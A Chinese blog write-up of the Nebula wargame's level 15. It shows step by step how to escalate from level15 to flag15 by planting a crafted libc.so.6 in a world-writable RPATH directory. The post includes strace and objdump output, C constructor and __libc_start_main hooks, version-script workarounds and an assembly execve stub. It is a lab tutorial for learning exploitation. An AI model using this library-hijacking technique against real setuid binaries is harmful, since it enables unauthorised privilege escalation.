linux漏洞挖掘nebula,Linux下的动态链接库包含漏洞

这篇博客详细介绍了如何利用Linux下的提权漏洞,特别是针对一个名为flag15sh的setuid程序。通过动态链接库劫持,创建自定义的libc.so.6,利用程序的RPATH特性,实现从level15用户权限提升到flag15用户,并执行/bin/getflag。过程中涉及了strace分析、程序头信息检查、动态链接库版本问题解决以及通过构造函数或替换__libc_start_main函数实现提权。最终,通过静态链接库编译或汇编语言编写system函数成功绕过错误,成功执行getflag。

说明

Nebula是一个用于Linux下提权漏洞练习的虚拟机,其第15关Level15提供了这样一个有漏洞的程序flag15sh-4.2$ ls -l

total 7

-rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15

sh-4.2$ whoami

level15

要求利用该setuid程序的漏洞,从用户level15提权到用户flag15,执行/bin/getflag.

2. 漏洞挖掘

这道题是一个经典的动态链接库劫持题目,首先用strace观察flag15execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0

brk(0)                                  = 0x880e000

access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)

5/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/i686/sse2", 0xbfe0f594) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/i686/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/i686", 0xbfe0f594) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/sse2/cmov", 0xbfe0f594) = -1 ENOENT (No such file or directory)

open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)

stat64("/var/tmp/flag15/sse2", 0xbfe0f594) = -1 ENOENT (No such file

...

open("/var/tmp/flag15/libc.so.6", O_RDONLY) = 3

...

exit_group(63)                          = ?

发现该程序链接到名为libc.so.6的动态链接库,但是/var/tmp目录对当前用户(level15)可写,因此可以在该目录下编写一个定制的libc.so.6,供程序flag15链接

我们进一步查看flag15的头信息,发现其确实依赖lib.so.6,并且使用RPATH编译,这表明flag15在运行时搜索包含动态链接库的路径/var/tmp/flag15,而且允许setuid执行(以LD_PRELOAD编译则不允许setuid执行).sh-4.2$ objdump -p /home/flag15/flag15

/home/flag15/flag15:     file format elf32-i386

Program Header:

PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2

filesz 0x00000120 memsz 0x00000120 flags r-x

INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0

filesz 0x00000013 memsz 0x00000013 flags r--

LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12

filesz 0x000005d4 memsz 0x000005d4 flags r-x

LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12

filesz 0x00000108 memsz 0x00000110 flags rw-

DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2

filesz 0x000000d0 memsz 0x000000d0 flags rw-

NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2

filesz 0x00000044 memsz 0x00000044 flags r--

EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2

filesz 0x00000034 memsz 0x00000034 flags r--

STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2

filesz 0x00000000 memsz 0x00000000 flags rw-

RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0

filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:

NEEDED               libc.so.6

RPATH                /var/tmp/flag15

INIT                 0x080482c0

FINI                 0x080484ac

GNU_HASH             0x080481ac

STRTAB               0x0804821c

SYMTAB               0x080481cc

STRSZ                0x0000005a

SYMENT               0x00000010

DEBUG                0x00000000

PLTGOT               0x08049ff4

PLTRELSZ             0x00000018

PLTREL               0x00000011

JMPREL               0x080482a8

REL                  0x080482a0

RELSZ                0x00000008

RELENT               0x00000008

VERNEED              0x08048280

VERNEEDNUM           0x00000001

VERSYM               0x08048276

Version References:

required from libc.so.6:

0x0d696910 0x00 02 GLIBC_2.0

3. 漏洞利用

剩下的事就是要在/var/tmp/flag15目录下编写我们定制的libc.so.6,劫持flag15,提权运行/bin/getflag.

首先要hook flag15运行时用到的函数,这里有两个点可供选择.一是通过gcc 的__attribute ((constructor))修饰符声明自己的函数,这个函数可以在linux动态链接库入口_init 函数之前完成提权功能;二是在int __libc_start_main函数中加入自己的提权功能.

使用第一种方法编写:sh-4.2$ cat constructor.c

#include 

void __attribute ((constructor)) init()

{

system("/bin/getflag");

}

编译gcc -shared -fPIC -o libc.so.6 constructor.c

第二种方法编写sh-4.2$ cat shell.c

#include 

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end)

{

system("/bin/getflag");

}

编译gcc -shared -fPIC -o libc.so.6 shell.c

得到libc.so.6

然后执行sh-4.2$ /home/flag15/flag15

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)

/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

从上面提示的重定位错误,发现缺少一个_cxa_finalize函数,于是在上述两种方法中的constructor.c或者shell.c中都可以增加void __cxa_finalize(void)

{

return;

}

修改constructor.c为contructor1.c,然后再次编译sh-4.2$ gcc -shared -fPIC -o libc.so.6 contructor1.c

然后执行sh-4.2$ /home/flag15/flag15

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)

/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

上面提示又缺少GLIBC的version信息。于是我们提供一个version script在编译时使用

继续编译并执行sh-4.2$ cat version

GLIBC_2.0 {};

sh-4.2$  gcc -shared -fPIC -o libc.so.6   contructor1.c -Wl,--version-script=version

sh-4.2$ /home/flag15/flag15

/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol system, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

仍然提示出错,似乎在链接时没有找到system函数.下面也有两种方法来解决,一种是用静态链接库的方式编译来满足所有的依赖关系(why?),二是用汇编语言编写自己的system函数

第一种方法:sh-4.2$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 contructor1.c

sh-4.2$ /home/flag15/flag15

You have successfully executed getflag on a target account

/home/flag15/flag15: relocation error: /home/flag15/flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

第二种方法:sh-4.2$ cat shell.c

#include 

void __cxa_finalize(void *d) {

}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {

system();

}sh-4.2$ cat system.s

.section .text

.globl system

system:

mov $getflag, %ebx

xor %edx, %edx

push %edx

push %ebx

mov %esp,%ecx

mov $11, %eax ;execve系统调用

int $0x80

.section .data

getflag: .ascii "/bin/getflag\0"

sh-4.2$  gcc -shared -fPIC -o libc.so.6   shell.c system.s  -Wl,--version-script=version

sh-4.2$ /home/flag15/flag15

You have successfully executed getflag on a target account

个人认为编写shellcode的方法相对于静态链接库编译的方式更易于理解,目前自己还没有弄清楚为什么用静态链接的方式就能解决system函数的问题.

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值